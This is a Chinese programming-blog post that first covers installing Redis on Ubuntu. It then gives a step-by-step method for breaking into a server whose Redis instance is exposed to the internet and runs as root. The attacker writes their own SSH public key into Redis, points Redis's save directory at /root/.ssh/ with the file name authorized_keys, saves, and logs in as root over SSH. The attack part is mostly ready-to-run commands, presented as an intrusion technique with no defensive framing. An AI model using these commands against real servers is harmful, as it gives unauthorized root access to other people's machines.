且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

redis与ssh-keygen

更新时间:2021-11-08 01:16:14

在ubuntu上安装是非常方便的,两个命令就行了。

$sudo apt-get update

$sudo apt-get install redis-server

若是redis-cli命令出现redis 127.0.0.1:6379>,则安装成功了


如何根据Redis和ssh入侵入侵服务器。原理上并不复杂,只是利用的规则有点苛刻:

1. redis要暴露在公网上

2. 嗯ssh进程也得开

3. Redis要是以root的权限启动的。(这个命令就是以root权限启动的(端口随便填):redis-server --port 6369)


先在本地建个ssh的秘钥

ssh-keygen -t rsa

cd ~/.ssh/

然后将公钥写入文本中(文本还可以有路径,比如说/tmp/1.txt)

前后空两行,公钥的内容就不会跟redis的内容混在一起了

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n")>1.txt

然后把里面的内容设置到远程的redis服务器上,设置key为233

cat 1.txt | redis-cli -h xxx.xxx.x.xx -p 6379  -x set 233

远程连接一下

redis-cli -h xxx.xxx.x.xx

修改保存的路径

xxx.xxx.x.xx :6379> config set dir /root/.ssh/

xxx.xxx.x.xx :6379> config get dir

修改保存的名称

xxx.xxx.x.xx :6379> config set dbfilename "authorized_keys"

保存

xxx.xxx.x.xx :6379> save

SAVE 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

远程利用自己的私钥登录该服务器。

ssh -i id_rsa root@xxx.xxx.x.xx